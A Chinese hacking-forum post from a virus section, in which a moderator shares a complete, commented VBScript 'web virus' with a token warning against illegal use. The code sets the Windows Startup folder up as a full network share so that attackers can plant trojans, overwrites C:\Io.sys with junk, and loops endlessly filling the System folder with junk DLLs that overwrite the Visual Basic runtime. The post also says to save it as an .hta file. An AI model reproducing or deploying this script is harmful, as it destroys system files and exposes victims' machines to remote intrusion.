20CN网络安全小组论坛 - 病毒专区 - 又一个写硬盘的网页病毒程序【请勿用于非法用途】

论坛: 病毒专区标题: 又一个写硬盘的网页病毒程序【请勿用于非法用途】

作者: abctm [abctm]

版主

〈script language=vbs〉
On Error Resume Next・　容错语句，避免程序崩溃
set aa=CreateObject（"WScript.Shell"）・建立WScript对象
Set fs = CreateObject（"Scripting.FileSystemObject"）・建立文件系统对象
Set dir1 = fs.GetSpecialFolder（0）・得到Windows路径
Set dir2 = fs.GetSpecialFolder（1）・得到System路径
dir1=dir1+"\START MENU\PROGRAMS\启动"
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Flags",302,"REG_DWORD"・写入Dword值Flags，这是共享类型的标志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"・写入Dword值Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1・写入共享资源的绝对路径
a=10
Set Os = CreateObject（"Scriptlet.TypeLib"）・建立自定义枚举对象
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming薄�“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”"
・一堆垃圾码，以备写入目标文件
Os.Reset・重置TypeLib对象
Os.Path = "C:\Io.sys"・TypeLib对象的目标路径为C:\Io.sys
Os.Doc = doc・写入的内容――就是上面的一堆垃圾
Os.Write（）・写入！
while true
・死循环，垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
・目标路径为System下的Msvbvm???.dll文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
　・大量重复，以生成足够大小的文件
Os.Write（）・生成文件！
wend
〈/script〉

以上代码保存为.hta文件,可以调用FileSystemObject元件（文件系统对象）。病毒首先得到你的Windows目录和System目录，再修改注册表，把你的启动目录――"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享，这样就可以被黑客搜到，上传一个“冰河”或者“广外女生”，然后病毒就把目标对准System目录，往里面灌垃圾文件，都是形如Msvbvm???的Dll文件，而且所有VB编写的程序都不能用了，提示找不到Dll文件――因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了。

地主发表时间: 10/20 21:50

论坛: 病毒专区